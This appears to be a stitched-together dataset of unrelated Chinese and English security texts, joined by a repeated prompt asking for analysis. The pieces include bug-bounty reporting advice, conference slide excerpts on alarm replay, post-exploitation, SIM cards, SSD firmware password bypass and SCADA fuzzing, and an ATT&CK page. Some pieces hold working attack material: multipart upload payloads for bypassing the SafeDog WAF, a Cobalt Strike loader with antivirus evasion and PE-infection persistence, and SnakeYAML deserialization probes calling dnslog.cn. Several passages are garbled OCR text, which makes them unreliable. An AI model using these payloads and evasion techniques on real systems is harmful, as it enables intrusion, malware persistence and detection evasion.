# 二十漏洞报告 > 作者Peter Yaworski > 译者[飞龙](https://github.com/) > 协议[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 所以这一天终于来了你发现了你的第一个漏洞 首先恭喜你 认真来讲发现漏洞并不容易但是有一些不爽的事情 我的第一条建议是放松不要过度兴奋 我知道在提交报告时的极度兴奋感以及当你被告知它不是漏洞公司关闭了漏洞报告损害了你在漏洞平台上的声望被拒绝的沮丧感我想帮你避免它们所以第一件事是首先 ## 阅读披露准则 在 HackerOne 和 Bugcrowd 上每个参与公司都列出了范围内外的程序希望你先阅读它们以免你浪费时间 但是如果没有请现在阅读 确保你发现的是未发现的而不在他们的程序之外 这是我以前的一个痛苦的例子 - 我在 Shopify 发现的第一个漏洞如果你在文本编辑器中提交格式不正确的 HTML其解析器就会对其进行更正并存储 XSS 我非常兴奋因为我的挖掘是有回报的 我无法足够快地提交报告 太好了我点击提交等待我的 500 美元的奖金 相反他们礼貌地告诉我这是一个已知的漏洞他们要求研究人员不要提交 然后这个工单被关闭了我失去了 5 分 我想钻进洞里这是一个惨痛的教训 从我的错误中学习要阅读准则 ## 包含细节之后包含更多东西 如果你希望认真对待报告请提供详细的报告其中至少包括 + 用于查找漏洞的 URL 和任何受影响的参数 + 浏览器操作系统如适用和/或应用程序版本的说明 + 对感知影响的描述 这个 bug 可能如何被利用 + 重现错误的步骤 这些标准对于 Hackerone 的主要公司来说都很常见包括雅虎TwitterDropbox 等如果你想更进一步我建议你添加屏幕截图或视频验证POC 两者都对公司有很大帮助并将帮助他们了解漏洞 在这个阶段你还需要考虑该网站的影响 例如由于用户和交互数量众多Twitter 上存储的 XSS 可能是一个非常严重的问题 相比之下一个交互有限的站点可能不会将这个漏洞视为严重不同的是敏感的网站如 PornHub 的隐私泄露可能比在 Twitter 上更重要后者大多数用户信息已经是公开的而不会尴尬 ## 确认漏洞 你已阅读准则你已经起草了你的报告你已经添加了截图等一下并确保你的报告实际上是一个漏洞 例如如果你要报告公司在其标题中没有使用 CSRF 令牌那么你是否看到了要传递的参数是否包含一个像 CSRF 令牌一样的标记但是标签不一样 在提交报告之前我无法鼓励你确保已经验证了此漏洞 考虑你所发现的重要漏洞只是让你意识到你在测试时弄错了一些东西这非常令人失望 在你提交该漏洞之前请自行决定是否需要额外的时间并确认该漏洞 ## 尊重厂商 根据 HackerOne 公司创建的测试流程是的你可以作为研究人员进行测试当公司启动新的漏洞奖励计划时它们可能会收到大量报告 提交之后让公司有机会审查你的报告并回复你 一些公司在他们的奖励准则上发布时间表而其他公司则没有 平衡你的兴奋与他们的工作量 根据我与 HackerOne 支持者的对话如果你在至少两周内没有收到公司的消息他们将帮助你进行跟进 在你选择这条路线之前在报告上发布礼貌的消息询问是否有更新 大多数时候公司会回应并让你了解情况 如果他们并没有留出太多时间在问题升级之前再试一次 另一方面如果公司已经确认了这个漏洞一旦完成与他们一起确认修复 在写这本书的时候我很幸运地和 Adam Bacchus 聊天他是截至 2016 年 5 月的 HackerOne 团队的新成员任首席奖励官我们的对话真的让我开阔了眼界 在他的背景中Adam 拥有 Snap Chat 和 Google 的工作经验在 Snap Chat 时他衔接了安全团队和其他软件工程团队在 Google 时他在漏洞管理团队工作并帮助执行 Google 漏洞奖励计划 亚当帮助我理解了运行奖励计划时有一些分析者会遇到的问题包括 + 噪音不幸的是漏洞奖励计划会收到大量无效的报告HackerOne 和 BugCrowd 都已经写过这个 我知道我绝对有贡献希望这本书可以帮助你避免这个问题因为提交无效报告会为你和奖励计划浪费时间和金钱 + 优先级漏洞计划必须找一些方法来为漏洞修复排序 当你有多个具有类似影响的漏洞但报告持续不断进入时这非常困难奖励计划面临严峻的挑战 + 验证在分析报告时必须验证漏洞 这就是为什么我们的黑客必须提供明确的指示并解释我们发现的内容如何重现它以及为什么它是重要的 只是提供一个视频并不能切中它 + 资源并不是每个公司都能雇得起全职工作人员来运行奖励计划 有些计划很幸运有专门的人对报告做出回应而其他计划则由工作人员兼任 因此公司可能会有轮流的时间表


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

Home%Insecurity:%No%alarm,%False% alarms,%and%SIGINT% Logan&Lamb& lamblm@ornl.gov& & Agenda%  Mo/va/on&  Models&and&Methodology&  A7ack&Primi/ve&Implementa/on&  Applica/on&to&three&security&systems&  Observa/ons&  Conclusion& Who%am%I?%  Researcher&for&Center&for&Trustworthy& Embedded&Systems&at&ORNL&  Focus&on&V2X&currently&  Ongoing&privacy&research&involving& intelligent&transporta/on&systems& Home%Security%System%Value%  Ostensibly&protects&your&home&and& occupants&from&intruders!&  Previous&hacks&  Disable&Sensors&  Control&GSM&  ZPWave&(Home&Automa/on)&  Lower&insurance&premiums!& & Mo@va@on%  Complete&dominance&of&the&security& system&  Render&it&useless&  If&possible,&make&owning&a&security&system&a& liability& Mo@va@on%  Covert&Inﬁltra/on&and&Exﬁltra/on&  Monitor&Behavior&  Induce&Behavior& Mo@va@on%  Covert&Inﬁltra/on&and&Exﬁltra/on&  Monitoring&Company&  Occupants&  Monitor&Behavior&  Induce&Behavior& & Mo@va@on%  Covert&Inﬁltra/on&and&Exﬁltra/on&  Monitor&Behavior&  Par/cular&Occupants&(be7er&for&homes)&  Aggregate&(be7er&for&businesses)&  Induce&Behavior& & Mo@va@on%  Covert&Inﬁltra/on&and&Exﬁltra/on&  Monitor&Behavior&  Induce&Behavior&  Monitoring&Company&  Occupants& & MODELS%AND%METHODOLOGY% Adversary%Model% Desires.&  General&solu/on&  High&Yield&  Cheap& Adversary%Model% Desires.&A&WIRELESS&hack!&  General&solu/on&  High&Yield&  Cheap& Adversary%Model% Desires.&A&WIRELESS&hack!&  General&solu/on&  Bet&the&sub&GHz&RF&is&similar&across& manufacturers&and&super&vuln&!&  High&Yield&  Cheap& Adversary%Model% Desires.&A&WIRELESS&hack!&  General&solu/on&  High&Yield&$$$&  Everything&is&going&wireless!&  Cheap& S& Adversary%Model% Desires.&A&WIRELESS&hack!&  General&solu/on&  High&  Cheap&  SDRs&are&ge]ng&cheaper,&soware&is&cheap& Adversary%Model% Desires.&  Covert&Inﬁltra/on&and&Exﬁltra/on& Accomplish&with&Replay%  Monitor&Behavior& Accomplish&with&Replay%  Induce&Behavior& Accomplish&with&Replay% Adversary%Model% Desires.&  Covert&Inﬁltra/on&and&Exﬁltra


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

Slide: 1 Meta-Post Exploitation Val Smith (Valsmith@offensivecomputing.net) Colin Ames (amesc@offensivecomputing.net) Using Old, Lost, Forgotten Knowledge Slide: 2 Valsmith  Affiliations:  Offensive Computing  Metasploit  cDc  Work:  Malware Analyst  Reverse Engineer  Penetration Tester  Exploit developer Slide: 3 Colin Ames  Security Researcher, Offensive Computing  Steganography Research  Penetration Testing  Reverse Engineering  Malware Analysis Slide: 4  What is this?  Follow up to Vals and HD Moores Tactical Exploitation talk from last year  A talk about the use of automation and tactical tools post-exploitation  Applied techniques  Good for LARGE environments  Different perspectives: some old, some forgotten, some new Slide: 5 Post Exploitation Concepts Overview Slide: 6 What Is Post Exploitation?  Its what you do after you get root  Note: This talk assumes you have access  Includes  Password Management  Persistence  Stealth / Evading Detection  User Identity Theft  Feature Modification  Automation & Mass 0wnage Slide: 7 What Is Post Exploitation?  Getting root is just the beginning  How do you spread?  How to manage assets as you go along?  Lots of tools to help you get root:  Metasploit, Core, Canvas, Stand alone  But what about after breaking in  Lots of random tools  Little automation / standardization  Archaic, hard to use, poorly documented  Maliciousness often obvious  Not Scalable to 1000s of hosts (ignoring botnets for this talk) Slide: 8 Password Management Slide: 9 Why Password Management?  Large pentests, 1000s of passwords  Testing a cracked password on many systems can be time consuming  Keeping track of cracking sessions  Building and growing your wordlist lets you crack faster  Aids in cleanup stage  Tying accounts to systems Slide: 10 Password Management Goals  Acquired password storage  Organization and tracking  What passwords go with which hosts  What passwords are shared  Which users have access to what resources  Re-use for further access


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

Karl Koscher  @supersat Eric Butler  @codebutler Rev: July 8, 2013 Updated slides available from defcon.org and http://simhacks.github.io/  Applications live on your SIM card  Phones are dumb hosts  UI and connectivity only  Telcos own the SIMs, so they control the applications 2  These are called SIM Toolkit (STK) applications  Used widely in the developing world  Mobile banking, etc.  Very little documentation on how they work, or how to develop them 3  Toorcamp 2012 had its own GSM network  SIM cards supported SIM Toolkit, so why not explore it?  After lots of research, finally figured out how to program the *#$!ing things  Learn from our misery 4  SIM cards are a lot more powerful than you might have imagined  Development of STK apps is the same as Java Cards  you can use unlocked STK SIMs as cheap smart card development platforms  Maybe if people care enough, SIMs can be better utilized (e.g. secure storage of SSH keys, BitCoins, phone decryption keys) 5  Rudimentary UI  display text, menus, play tones, read input  Send SMSes, initiate calls, initiate and use data services  Receive and act on events, such as call connected, call disconnected, etc.  Interact with the rest of the SIM card  Run arbitrary AT commands on the phone 6  Working our way up the technology stack:  Smart cards  Java Card  GlobalPlatform  SMS  SIM Toolkit API 8  ISO 7816-1: Physical characteristics  ISO 7816-2: Electrical contacts  ISO 7816-3: Electrical interface, Transmission Protocol Data Units (TPDUs)  T=0: Byte-oriented protocol  T=1: Block-oriented protocol  ISO 7816-4: Standard commands, Application Protocol Data Units (APDUs)  ISO 14443-4: T=CL: APDUs over RFID Smart Card Pinout from Wikimedia Commons: https://en.wikipedia.org/wiki/File:SmartCardPinout.svg 9  Command APDU 10 Class MSB LSB Instruction Param 1 Param 2 Data Length Length Expected Optional Command Dependent Standard structure and CLS/INS - RFU - Standard structure, custom INS, standard CLS Standard unless specd by conte


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

酒票 35 贡献 0 积分 46 注册时间 2013-1-31 发消息 c4rt1y 九零元老 发表于 2016-4-17 06:31:25 | 只看该作者 表哥已经在https://forum.90sec.org/forum.php?mod=viewthread&tid=9133这里写了一些方法今晚在看别人的代 了于是乎今晚测试了下安全狗的上传发现方法还是如此依旧没任何变化当然我们只拿安全狗为案列因为方 过狗方法这里感谢keio牛文档我虽然也做了类似的但是排版没你的好就拿你的放上去了 默认状态 [Bash shell] 纯文本查看 复制代码 突破0 [Bash shell] 纯文本查看 复制代码 突破1 去掉双引号 [Bash shell] 纯文本查看 复制代码 突破2 添加一个filename1 [Bash shell] 纯文本查看 复制代码 突破3 form中间+ [Bash shell] 纯文本查看 复制代码 突破4 大小写 [Bash shell] 纯文本查看 复制代码 1 2 3 ------WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data; name="filepath"; filename="a.asp" Content-Type: text/html 1 2 3 ------WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data; name="filepath"; filename="[0x09]a.asp" Content-Type: text/html 1 2 3 ------WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data; name="filepath"; filename=a.asp Content-Type: text/html 1 2 3 ------WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data; name="filepath"; filename="a.asp";filename1="test.jpg" Content-Type: text/html 1 2 3 ------WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: f+orm-data; name="filepath";filename="test.asp" Content-Type: text/html 1 2 3 ------WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: form-data; name="filepath"; filename="a.asp" Content-Type: text/html 突破5 去掉form-data [Bash shell] 纯文本查看 复制代码 突破6 在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格 [Bash shell] 纯文本查看 复制代码 [/mw_shl_code] 突破7 a.asp . (空格+.) [Bash shell] 纯文本查看 复制代码 [/mw_shl_code] 突破8 "换行 [Bash shell] 纯文本查看 复制代码 突破9 NTFS流 [Bash shell] 纯文本查看 复制代码 突破10 经过对IIS 6.0的测试发现其总是采用第一个Content-Disposition中的值做为接收参数而安全狗总是以 求[上传test.asp成功] [Bash shell] 纯文本查看 复制代码 1 2 3 ------WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: name="filepath"; filename="a.asp" Content-Type: text/html 1 2 3 [mw_shl_code=bash,true]------WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: form-data; name="filepath"; filename="a.asp" Content-Type: text/html 1 2 3 [mw_shl_code=bash,true]------WebKitFormBoundary2sm


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

SOCIAL ZOMBIES Your Friends Want to Eat Your Brains STARRING... TOM ESTON KEVIN JOHNSON Social Networks The New Hotness 225 Million Users 110 Million Users Grew 752% in 2008! 8 million visitors in march 2009 Social networks & Blogs are now the 4th most popular online activity, ahead of personal email. -Nielsen Online Report, March 2009 How do socnets make $$? Its in your Profile!  More information you share...more $ $ its worth!  Targeted advertising  Sell your Demographic Info  Sketchy Privacy/ToS Policies.... In Social networks we Trust... Trust is Everything!  Its how social networks work  More trust, the better for the socnet!  Attackers LOVE trust relationships! Fake Profiles Its built to Exploit Trust  Who is the person behind the account?  Bots are Everywhere  Accounts are easy to create  Socnet User Verification = FAIL  Connections based on other friends Privacy Concerns 25 Random Things About You...  Im your friend, I want to know more about you!  Innocent?  These are PASSWORD RESET QUESTIONS people!! Corporate Espionage?  Very effective in a Penetration test  Socnet Information = GOLD  Information Leakage on a Mass Scale! Default Privacy Settings  Wide Open for a reason!  Facebook has very good controls...but...  Do you know where they are?  Do your Friends/Family?  Do They Care? Security Concerns  Socnets are #1 Target for Malware  Spam  Disinformation  XSS, CSRF and more! Twitter Clickjacking & XSS Return of Koobface  Recycled ExploitS  Exploits Trust  STILL EFFECTIVE! Social Network Bots Delivery VIA Socnet API  Twitter Bots (n0tab0t, Realboy)  Automated tools and scripts... Automated Tools Pay Services Social Network Botnets? Facebot POC  Malicious Facebook APplication (looks normal)  Turns your PC into a Bot used for DDOS! Introducing... Kreios C2 Kreios C2 Demo Browser Based Bots Browsers and Features... Oh My!  Browsers are getting more feature-rcih  Read that as more vulnerable!  Forget exploiting vulns  Abuse the features we are provided Browser Z


Instruction: 请分析这段安全相关的文本内容

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解析 儲存embedded架構原理理實現漏洞洞與反制 傳台灣某公司主控 SSD 藏後門銀監會要求調查" 這是真實的嗎? 儲存裝置有後門嗎? 如果有哪又是怎樣的狀狀況我們要怎樣防範 前言 Thx Hitch 2015 ,2012 講師 工信部高級資料恢復工程師 ACELab Raid ,Flash 認證 OSSLab 開放軟體實驗室創辦人 講師介紹 儲存裝置上的嵌入式架構 CPU Core RAM ROM 碟片上的韌體架構 硬碟載入 啟動流程 (以WD為範例例)  MCU ROM bootstrap  內部或是外在SPI ROM  碟片上的Module 01 Index 碟片上ATA 微代碼( Module 11)  碟片上其他完整微代碼+匹配參參數  所以硬碟如同一個 embedd system 不同的是 儲存韌體地方會二個位置ROM跟碟片 WD 模塊列列表 硬碟embeddedsystem 架構 模塊是硬碟碟片上韌體跟匹配參參數分類 比如說 序號,型號,ATA密碼是存在專門 模塊,而不是在PCB 有分重要級數 重要模塊一丟失 資料一 去不復返 中斷硬碟啟動流程 硬碟安全系統正常啟動 就會進入 安全系統鎖住硬碟 韌體損壞硬碟則是載入錯誤韌體到一半,造成硬碟本體當 機. 因此 打斷正常啟動流程 可用於破解儲存安全保護與資料救援嚴重損壞韌體 公開的T10 文件就有說明 Something (e.g., a bit, ﬁeld, or code value) that is not deﬁned by the standard and may be used differentlyn various implementations. 讀寫韌體,ROM操作等特別操作就要用工廠指令集 工廠指令集的原由:生產與維修 ATA Vendor-speciﬁc command (工廠指令集) CDB (Command Descriptor Block) 儲存裝置安全保護 ATA 保護 AES 加密 韌體 保護 ATA 加密 AES 加密 ＷＤ ＡＥＳ 暴暴力力破解 我在路路上撿到工廠指令手冊 請你跟我這樣做(一) 請你跟我這樣做(二) Serial UART 應用 Linux終端操作 路路由器或者ADSL韌體升級 硬碟低階操作維修 單晶片 (MCU) 程式下載如STC 51單晶片 需要的線材與工具 杜邦接頭(母), 1P的三根 莫士端子(母)2.00mm, 4P排座 USB to TTL板 (拿Arduino也可替代) Serial TTL (UART)通訊  以一台ARM NAS 做範例例 逆向Serial UART腳位  最好抓的是GND  先將embeeded system斷電 GND一是大塊金金屬點 或是電源座 負極. 會導通 數位型三用電表轉 到 二極體測試檔位(可做導通測試 有通會發聲)  另外一邊探針 則每個Pin都試, 發 現第一根有跟接地點導通, 會翁 鳴 因此第一根為GND GND腳位判定  這時embedded system 再通電 把探針一根固定放 GND 測試每根與第一根已知 GND 相通電呀 發現當 1,4 腳位通電時3.3V或5V  表示第四根為 VCC RX TX , 就 為中間二根先顯 示有字串串再調速度 用2400~115200 慢慢試 分析出腳位 Seagate UART接線法 發出VSC與串串口指令的設備 工廠串串口指令 前面工廠手冊有讀寫韌體操作指令 使用Terminal 並且支援Y-Modem協定的軟體 指令 r 為讀取硬碟韌體系統文件 w 為寫入硬碟韌體系統文件 r30a==>讀出模塊30a, w30a==>寫入模塊30a 硬碟韌體讀寫指令 抓取所有硬碟韌體文件 翻遍了了技術文件找不到哪邊有密碼相關module 就全部抓取出來來 把所有抓出的韌體區塊做比對 發現韌體的30A系統 文件存放ATA密碼 找一樣型號硬碟30A 再用終端回寫回去 即可關閉ATA密碼 看看專業怎做的 發現PC3000 並不是 使用修改 ATA密碼並 沒有改變 但是有類似 ATA密碼開關,位置在 30a韌體系統文件 offset 0x56和0x57 只要改為0000 再用終端回寫回去 即可關閉ATA密碼 分析專業設備的方法 Live demo 用串串口破解IBM 筆記型電腦 硬碟加密 1.熱交換 2.ROM中的韌體缺陷表 都是利利用打斷正常啟動流程 其他方法 如何獲得硬體用的工廠指令集 泄露的工廠技術文件 測錄會發出工廠指令軟硬體 逆向工程 窮舉Fuzzer指令集 泄露的工廠技術文件 比如剛剛前面希捷的文檔 就有詳細終端指令與ATA 工廠指令 Sniffer會發出VSC 的軟硬體 一.工廠內部軟體 二.韌體升級軟體 三.非官方資料


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# T1596-003-搜索开放的技术数据库-数字签名 ## 来自ATT&CK的描述 在入侵受害者之前攻击者可以在公开的数字证书数据中搜索可在目标确定期间使用的有关受害者的信息数字证书由证书颁发机构CA颁发以加密方式验证签名内容的来源这些证书例如用于加密Web流量HTTPS SSL / TLS通信的证书包含有关注册组织的信息例如名称和位置 攻击者可以搜索数字证书数据以收集可操作的信息威胁方可以使用在线资源和查找工具来收集有关证书的信息引自SSLShopper Lookup 数字证书数据也可以从组织签名的工件中获得例如加密的网络流量中使用的证书随内容一起提供引自Medium SSL Cert 这些来源提供的信息可能为其他形式的侦察提供可能性例如[主动扫描](https://contribute.knowledge.qihoo.net/detail/technique/T1595)或[钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598)建立运营资源例如[开发能力](https://contribute.knowledge.qihoo.net/detail/technique/T1587)或[获取能力](https://contribute.knowledge.qihoo.net/detail/technique/T1588)或实现初始访问例如[外部远程服务](https://contribute.knowledge.qihoo.net/detail/technique/T1133)或[信任关系](https://contribute.knowledge.qihoo.net/detail/technique/T1199) ## 测试案例 证书透明度(Certificate Transparency,CT)是证书授权机构(CA)的一个项目证书授权机构会为每一个SSL/TLS证书发布到公共日志中一个SSL/TLS证书通常包含域名子域名和邮箱地址这些也经常成为攻击者非常希望获得的有用信息查找某个域名所属证书的最简单的方法就是使用搜索引擎搜索一些公开的CT日志 1. <https://crt.sh/> 2. <https://censys.io/> 3. <https://developers.facebook.com/tools/ct/> 4. <https://google.com/transparencyreport/https/ct/> ## 检测日志 无 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 许多此类攻击活动的发生率很高并且相关的误报率也很高并且有可能发生在目标组织的监测范围之外从而使防御者难以发现 检测工作可能会集中在攻击生命周期的相关阶段例如在"初始访问"阶段 ## 参考推荐 MITRE-ATT&CK-T1596-003 <https://attack.mitre.org/techniques/T1596/003/> 全流程信息收集方法总结 <https://www.freebuf.com/articles/database/195169.html> 知了堂信安笔记渗透测试之信息收集二 <https://zhuanlan.zhihu.com/p/86250911>


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Unraveling SCADA Protocols: Using Sulley Fuzzer - Ganesh Devarajan 2 Agenda Introduction to SCADA networks Overview SCADA Protocols Modbus DNP3 ICCP UCA 2.0 and IEC 61850 Standards SCADA Security Attack scenarios Past known attacks SCADA Fuzzer Demo Conclusion Future work 3 SCADA Definition SCADA Supervisory Control and Data Acquisition is defined as a common process control application that collects data from sensors on the shop floor or in remote locations and sends them to a central computer for management and control. Large scale distributed measurement and control system (North America) System that performs SCADA irrespective of the size and geographical distribution (Rest of the world) - Wikipedia SCADA is a technology that enables a user to collect data from one or more distant facilities and/or send limited control instructions to those facilities  Ronald L. Kurtz SCADA Use It is the vital component of many Critical Infrastructure They are used for sensing/managing real-time data Water Gas Electricity Refineries Nuclear plants Other manufacturing operations. 4 5 SCADA Infrastructure SCADA System Components Operator  Human Person responsible to make the Supervisory control decisions Might be present in the local or remote site. Human Machine Interface (HMI)  Presents data to the user/operator  GUIs, Schematics, Windows Master Terminal Unit (MTU)  Processes the data and presents it to HMI  Collects data from remote sites  Sends out queries and instructions to the remote nodes Communication channel  Internet, wireless, switched network, etc Remote Terminal Unit (RTU)  Sends the abstracted data to the MTU  RTU sends out control signals to the sensors and collects data values from them Traditional SCADA Networks 6 Motors, Drives, Actuators Robotics Sensors and other Input/Output Devices Programmable Logic Controllers (PLC) Human Machine Interface (HMI) PC Based Controllers Back-Office Mainframes and Servers (ERP, MES, CAPP, PDM, etc.) Control Network Gateway Offi


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花了天时间学习WPF图形化开发,C#的图形化我没学过.原始Form实在是丑. 最后完成如下. 加密的RSA. 沙盒判断也很简单,星球发了很多次了.(原来那个) 物理机测试免杀360(主机到了,快乐) 然后想起来看到了个pe感染权限维持的项,趁着情好复现下. 我加到了改的Kit 前  流沙免杀加载器 RedTeamWing 加密式 加载式 图标 临时件 语 CPU 沙盒烧过 Sleep Disk UAC Mac 进程注 explore.exe 后续 msinLasm-Peiniect-dii peinject.cpp Welcome main.cpp EXPLORER main.asm peinject.cna shellexecute OPENEDITORS main.asm PEINJECTDLL push push.o 这要修改偏移 81 pushoffsetpath cs-peinject nO 这要修改偏移 82 pushoffsetmethod 中 images push peiniect calL.dwordptrss:[esp+18h] Peinjectdil addesp,38h main.cpp 填旧的点 86 jimpmain Peinjecuall.vcxproj methoddb'"open". Peinjectdll.vcxprojfilters pathdb"c:usersisunmnDesKOpITTHexEdi.xe" shellcode调试 89 nop shellexecute 90 nop nop mantasm nop shellexecutevcxproj 93 mainendp shellexecuteycxproj.filters 94 endmain gitattributes 95 gitignore Peinjcctdll.sln README.md TIMELINE Ln95.Col1 master 要注意个问题. RIkYIewAttacksReportingHelp 0图三 internal 11stener external 1as pid computer rch process 192.168.123.77 2h DESKTOP-9IPJBEB 192.168.123.77 http-1ocal 7256 192.168.123.77 192.168.123.77 DESKTOP-9IPJBEE http-1ocal 18784 ArRexe DESKTOP-9IPJBEG 192:16123.77 http-1ocal 192.16.123.77 18588 Interact DECVTOAATAIREA 192.168.123.77 192.168.123.77 64 37872 http-1ocal In1T101ACCEBS Wingkit 53046 192.168.123.77 192.1686.123.77 arRe 11m Access 启动 PE成染 史克染的件路径 Explore 注在表 Peinject Pivoting 张向移动 不捉仅 Spawn riviiege Hisc Session redentinl Set/updateDefaults beacon192.168123.7年18588 BEacSHarpTaskT1853 EventLog FILe192168.14 Scripts ScriptConso1e thePpl PTaskcdBcacontofindswchostoxningusAandmalkeittho [waskedbeacontobecomentaractlve [阳Inncttoflapath:PmgrmFles(Stem. Taskedbeacontohject/ser/ying/Redtemw/mktncu Waitingafewseccndsforpeinjectconplete... perstensepenjectccmelete Thostcallodhcme,sant76271bytos FutLrpoSTCbEWbESPAYncDtHFakOPPIDOT NTALTHORISYSTEM SchoteNc2o9 Taskedbercontospoof960amoontmocos Tt@becontomtucheh hostcalledhame,sent12 ppd960kinadiftarentdesktos(pdm hastcalledhcme,sent260624bytes 特别是script_recource不能错. 然后设置好路径 我是的steam.直接执,steam打开就会上线.


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#BHUSA @BlackHatEvents To Flexibly Tame Kernel Execution With Onsite Analysis Xuhua Ding Singapore Management University #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Outline  Review of existing dynamic kernel analysis techniques  Introduction of the onsite analysis infrastructure (OASIS)  Analysis primitives provided by OASIS  Two examples of OASIS analyzers: function monitor and control flow tracer  Discussions 2 #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Existing Approach 1: Code Instrumentation Static code instrumentation:  Linux kernel cooperates with GCC to add Kernel Coverage (KCOV) and Kernel Address SANitizer(KASAN) code into the kernel image at compilation time.  KDB, KGDB Dynamic Binary Instrumentation (DBI)  DBI has been applied to kernel analysis as well: Cobra [S&P'06], PinOS [VEE07], GILK [TOOLS02], PEMU [VEE15]. 3 #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Code Instrumentation The Idea: to mix the analysis code and the kernel code into one binary. Pros: native control, introspection and modification Cons: intrusive, no/weak transparency or security kernel code kernel code analysis code Share execution flow and address space 4 #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Existing Approach 2: Hardware-assisted Analysis Hypervisor based on Hardware Virtualization (VT-x)  Ether [CCS08], Gateway [NDSS11], Spider [ACSAC13] Intel SMM + Performance Monitoring Unit (PMU)  MALT [S&P15] TrustZone + ARM debugging facilities  Ninja [USENIX Security17] 5 #BHUSA @BlackHatEvents Information Classification: General SMU Classification: Restricted Hardware-assisted Analysis The Idea: to trap the target to an isolated and more privileged environment, e.g., x86 VMX root mode, SMM mode, or ARM SecureWorld Pros: transparency and security Cons: inflexibility to control and introspect - when/whe


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@Y4tacker SnakeYAML实现Gadget探测 思路来源 今天在学习SnakeYAML的反序列化的时候想到个新的探测payload上之前有个SPI 那个链可以有通过URLClassloader检测 这个的话主要是因为SnakeYAML在解析带键值对的集合的时候会对键调hashCode法因此 会触发DNS解析 因此通过构造URL对象后简单加个: 1让他成为个mapping 不过会触发多次 String poc = "!!java.net.URL [null, \"[http://osrwbf.dnslog.cn] (http://osrwbf.dnslog.cn/)\"]: 1"; 实现探测Gadget 不完美的构造 这再补充个探测gadget思路在刚刚的思路上实现了探测gadget如果string存在才会接着 触发URLDNS不存在就不会 当然上的payload又遇到了问题如果对象的构造法私有化就不为什么呢看下 更完善的案 解决案是 String poc = "key: [!!java.lang.String []: 0, !!java.net.URL [null, \" [http://5ydl3f.dnslog.cn](http://5ydl3f.dnslog.cn/)\"]: 1]"; String poc = "key: [!!java.lang.String {}: 0, !!java.net.URL [null, \" [http://5ydl3f.dnslog.cn](http://5ydl3f.dnslog.cn/)\"]: 1]"; 这个与上的区别不样在于探测的类后[]或{}对应的分别是ConstructSequence与 ConstructMapping光这样说还是不够清楚就详细来说可以看 到 org.yaml.snakeyaml.constructor.Constructor.ConstructSequence#construc t 的处理逻辑如下我们只看最关键的地 可以看到这获取构造函数调的是 node.getType().getConstructors() 也就是只会 获得公有的构造函数因此会出错 如果换成了 {} 则会调  org.yaml.snakeyaml.constructor.Constructor.ConstructMapping#construct 这先调 createEmptyJavaBean 实例化对象可以看到这是getDeclaredConstructor就 算是私有也Ok 那么你会好奇如果我想要调带参数的构造函数怎么办那肯定不那SnakeYAML如何处 理的呢也就是后调了 constructJavaBean2ndStep 与本探测问题关简单来 说其实就是在while循环不断通过反射设置值 总结 有时候细节也确实很重要昨晚匆匆忙忙却忽略了很多细节说起来也是惭愧 protected Object createEmptyJavaBean(MappingNode node) { try { java.lang.reflect.Constructor<?> c = node.getType().getDeclaredConstructor(); c.setAccessible(true); return c.newInstance(); } catch (Exception var3) { throw new YAMLException(var3); } }


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Investigating the Practicality and Cost of Abusing Memory Errors with DNS Project Bitﬂ1p by Luke Young $ whoami Undergraduate Student - Sophomore Founder of Hydrant Labs LLC This presentation is based upon research conducted as a employee of Hydrant Labs LLC and was not supported or authorized by any previous, current, or future employers with the exception of Hydrant Labs LLC. Email: luke@hydrantlabs.org LinkedIn: https://www.linkedin.com/in/innoying Twitter: @innoying Agenda What is a bitﬂip and their history What is bit-squatting and how it works Project Bitﬂ1ps use of bit-squatting Code and partial data release Q&A What is a bitﬂip? or 1 0 0 1 What causes a bitﬂip? Heat Electrical Problems Radioactive Contamination Cosmic Rays History of bitﬂips Using Memory Errors to Attack a Virtual Machine - Princeton University in 2003 Rowhammer Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM Disturbance Errors - Carnegie Mellon University in 2014 Exploiting the DRAM rowhammer bug to gain kernel privileges - Googles Project Zero What is bit-squatting? Named by Artem Dinaburg Purchasing of domain names that are one bit away from the legitimate name. c n n . c o m 01100011 01101110 01101110 00101110 01100011 01101111 01101101 c o n . c o m 01100011 01101111 01101110 00101110 01100011 01101111 01101101 Example of bit-squatting Generating valid bit-squats e 01100101 u m a g d 01100101 01101101 01100001 01100111 01100100 www.defcon.org Generating valid bit-squats www.defcon.org n 01101110 . 00101110 o 01101111 / 00101111 $ bf-lookup www.defcon.org vww.defcon.org uww.defcon.org sww.defcon.org gww.defcon.org 7ww.defcon.org wvw.defcon.org wuw.defcon.org wsw.defcon.org wgw.defcon.org w7w.defcon.org wwv.defcon.org wwu.defcon.org wws.defcon.org wwg.defcon.org ww7.defcon.org wwwndefcon.org www.eefcon.org www.fefcon.org www.lefcon.org www.tefcon.org www.ddfcon.org www.dgfcon.org www.dafcon.org www.dmfcon.org www.dufcon.org www.degcon.org www.dedcon.org www.d


